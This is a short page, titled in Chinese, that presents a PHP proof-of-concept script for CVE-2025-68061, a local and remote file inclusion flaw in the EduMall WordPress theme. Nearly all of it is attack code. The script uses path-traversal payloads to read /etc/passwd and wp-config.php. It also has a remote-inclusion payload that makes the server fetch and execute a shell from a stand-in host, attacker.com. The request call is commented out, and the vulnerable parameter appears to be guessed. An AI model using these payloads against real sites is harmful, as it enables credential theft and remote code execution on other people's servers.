CVE-2025-68061 EduMall主题PHP远程文件包含漏洞

<?php /** * CVE-2025-68061 PoC - EduMall Theme Local File Inclusion / Remote File Inclusion * Affected: EduMall Theme <= 4.4.7 * Type: PHP Remote File Inclusion * * Usage: php poc.php <target_url> <payload_type> * payload_type: 1 = LFI (Local File Inclusion) * 2 = RFI (Remote File Inclusion) */ $target = $argv[1] ?? ''; $payloadType = $argv[2] ?? '1'; if (empty($target)) { echo "Usage: php poc.php <target_url> <payload_type>\n"; echo "Example: php poc.php http://target.com 2\n"; exit(1); } // Common vulnerable parameters in EduMall theme $vulnerablePaths = [ '/wp-content/themes/edumall/inc/theme-functions.php', '/wp-content/themes/edumall/framework/includes/theme-functions.php', '/wp-content/themes/edumall/template-parts/header.php' ]; // LFI payload - read sensitive files $lfiPayloads = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../../../etc/passwd' ]; // RFI payload - remote shell inclusion $rfiPayload = 'http://attacker.com/malicious.txt'; echo "[*] CVE-2025-68061 PoC - EduMall Theme File Inclusion\n"; echo "[*] Target: $target\n"; if ($payloadType == '1') { echo "[*] Payload Type: Local File Inclusion (LFI)\n"; foreach ($lfiPayloads as $payload) { $url = $target . '?file=' . urlencode($payload); echo "[+] Testing LFI: $url\n"; // In real attack, this would make HTTP request // $response = file_get_contents($url); } } else { echo "[*] Payload Type: Remote File Inclusion (RFI)\n"; $url = $target . '?file=' . urlencode($rfiPayload); echo "[+] Testing RFI: $url\n"; echo "[+] If vulnerable, server will fetch and execute: $rfiPayload\n"; } echo "\n[*] Manual verification:\n"; echo "1. Check if 'file' or similar parameter exists in theme files\n"; echo "2. Look for include/require statements without proper sanitization\n"; echo "3. Test with: ?file=http://attacker.com/shell.txt\n"; echo "4. Check response headers for 'php' execution indicators\n";